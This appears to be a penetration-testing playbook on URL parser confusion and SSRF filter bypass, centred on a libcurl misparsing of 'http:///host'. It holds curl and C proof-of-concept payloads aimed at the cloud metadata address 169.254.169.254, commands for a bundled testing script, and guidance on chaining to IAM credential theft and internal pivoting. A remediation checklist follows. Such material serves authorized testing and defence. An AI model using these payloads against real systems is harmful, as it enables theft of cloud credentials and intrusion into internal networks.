Url Parser Confusion Testing

URL Parser Confusion & SSRF Filter Bypass

Different URL parsers disagree on how to interpret malformed URLs. When an application validates with one parser and fetches with another (or fetches with the same parser but mis-trusts its output), an attacker can craft a URL that passes the allowlist check but resolves to an attacker-chosen host → Server-Side Request Forgery (SSRF). Targets must be within the scope of the engagement you are authorized to test.

When to Use

• URL validation, webhook inputs, and proxy/fetch endpoints (/fetch?url=..., /preview?url=..., /webhook)
• Hostname allowlist / denylist bypass assessments
• Microservice architecture audits where validation and HTTP client libraries differ (e.g. Node validator + curl/Go backend)
• SSRF filter bypass assessments for cloud metadata endpoints (169.254.169.254, metadata.google.internal) or internal network ranges (10.0.0.0/8, 127.0.0.1)
• Reviewing C/C++, Python, Node.js, Go, Java, or PHP URL handling logic

Reference Case: HackerOne #3923212 (curl URL API)

libcurl's parseurl() in lib/urlapi.c misparses http:///host/path. Per RFC 3986 the authority between // and / is empty, so /host/path is the path. libcurl instead treats the first path segment as the hostname (slash counter reaches 3, hostp is set to whatever follows the third slash).

# curl CLI reproduction (path becomes hostname)
curl -w "\n%{url_effective}\n" http:///169.254.169.254/latest/meta-data/
# -> http://169.254.169.254/latest/meta-data/

# CURLU API PoC (compile: gcc poc.c $(curl-config --cflags --libs))
#include <stdio.h>
#include <curl/curl.h>
int main(void) {
  CURLU *u = curl_url();
  curl_url_set(u, CURLUPART_URL,
               "http:///169.254.169.254/latest/meta-data/", 0);
  char *host = NULL, *path = NULL;
  curl_url_get(u, CURLUPART_HOST, &host, 0);
  curl_url_get(u, CURLUPART_PATH, &path, 0);
  printf("host=%s path=%s\n", host, path);   // host=169.254.169.254
  curl_free(host); curl_free(path); curl_url_cleanup(u);
  return 0;
}

Phase 0: Recon & Target Mapping

1. Identify URL Input Endpoints:
   • Webhook registration, avatar/image import by URL, PDF generation from URL, oEmbed/rich link preview, proxy/cache endpoints.
2. Identify Validation Mechanisms:
   • RegEx pattern matching on domain names.
   • Parsing domain via URL library followed by string suffix check (.endswith("example.com")).
   • Allowlist / Blocklist checking against IP ranges or DNS resolutions.
3. Identify Backend Fetch Client:
   • Determine which HTTP client fetches the URL: cURL / libcurl, Python requests/urllib, Node fetch/axios, Go net/http, or Java HttpURLConnection.

Phase 1: Differential Parser Testing

Compare how different parsers treat candidate URLs:

Phase 2: Probing & Bypasses

Test target endpoints with differential payloads using the bundled automation tool or cURL:

# Run standalone differential test against default cloud metadata IP
python3 scripts/url_parser_diff.py

# Test custom target internal IP and path
python3 scripts/url_parser_diff.py --ip 169.254.169.254 --path /latest/meta-data/

# Filter only parser disagreements
python3 scripts/url_parser_diff.py --only-interesting

Phase 3: Automation Tooling (url_parser_diff.py)

The bundled tool scripts/url_parser_diff.py natively tests:

• Python urllib.parse (RFC 3986)
• cURL / libcurl CLI (%{url_effective})
• Node.js WHATWG URL (when Node is available)

# Output JSON for CI/CD or automation pipelines
python3 scripts/url_parser_diff.py --json

Phase 4: Impact Chaining & Reporting

• Cloud Metadata Access: Extract IAM credentials, API keys, service account tokens (http://169.254.169.254/latest/meta-data/iam/security-credentials/).
• Internal Microservice Exploitation: Access unauthenticated internal administrative panels, Kubernetes kubelet APIs, or internal REST services.
• Port Scanning & Network Pivoting: Enumerate internal open ports and services across private CIDR ranges.

CVSS 3.1 & CWE Mapping

• CWE-918: Server-Side Request Forgery (SSRF)
• CWE-625: Permissive List of Allowed Inputs
• CWE-20: Improper Input Validation
• CVSS:3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N (Base Score: 8.6 High / Critical depending on cloud IAM exposure)

Remediation Checklist

• Single Unified Parser: Use the exact same parser/client library for validation and fetching.
• Resolve DNS First & Validate IP:
  1. Resolve DNS hostname to IP address.
  2. Validate that the resolved IP does NOT belong to private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16, ::1, fc00::/7).
  3. Connect directly to the verified IP address (prevent DNS rebinding via fixed-IP connection or custom dialer).
• Disable Redirection or Validate Redirect Targets: Ensure HTTP clients do not blindly follow redirects to internal IP addresses.
• Enforce Strict Scheme Restrictions: Allow only http and https schemes; reject all other schemes (gopher://, file://, ftp://).